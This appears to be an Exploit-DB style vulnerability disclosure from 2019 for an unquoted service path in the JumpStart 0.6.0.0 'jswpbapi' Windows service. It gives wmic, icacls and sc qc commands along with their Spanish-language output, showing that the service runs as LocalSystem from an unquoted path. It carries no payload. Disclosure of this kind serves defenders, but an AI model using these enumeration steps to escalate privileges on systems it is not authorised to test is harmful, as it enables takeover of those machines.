# Exploit Title: JumpStart 0.6.0.0 - 'jswpbapi' Unquoted Service Path# Google Dork: N/A# Date: 2019-09-09# Exploit Author: Roberto Escamilla# Vendor Homepage:https://www.inforprograma.net/# Software Link: https://www.inforprograma.net/# Version:= 0.6.0.0 wpspin.exe# Tested on: Windows 10 Home# CVE : N/A###############STEPS########################### 1.- Install the JumpStart application on Windows 10 Home Operating System# 2.- Open our "System Symbol" application.# 3.- Execute the command -------wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """# 4.- The following will appear in a list: JumpStart Push-Button Servicejswpbapi C:\Program Files (x86)\Jumpstart\jswpbapi.exe# 5.- We proceed to verify the process using the command icacls, with which we verify the protection of the directory as shown below:
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administradores:(I)(F)
BUILTIN\Usuarios:(I)(RX)
ENTIDAD DE PAQUETES DE APLICACIONES\TODOS LOS PAQUETES DE APLICACIONES:(I)(RX)
ENTIDAD DE PAQUETES DE APLICACIONES\TODOS LOS PAQUETES DE APLICACIÓN RESTRINGIDOS:(I)(RX)# 6.- Finally we verify using the command sc qc jswpbapi the protection of the service in which we observe that it is scalable in privileges # since the route contains spaces without being in quotes and is in CONTROL_ERROR normal and NOMBRE_INICIO_SERVICIO: # LocalSystem as it's shown in the following [SC] QueryServiceConfig CORRECTO
NOMBRE_SERVICIO: jswpbapi
TIPO : 10WIN32_OWN_PROCESS
TIPO_INICIO: 2 AUTO_START
CONTROL_ERROR: 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Jumpstart\jswpbapi.exe
GRUPO_ORDEN_CARGA:
ETIQUETA : 0
NOMBRE_MOSTRAR : JumpStart Push-Button Service
DEPENDENCIAS : RPCSS
NOMBRE_INICIO_SERVICIO: LocalSystem
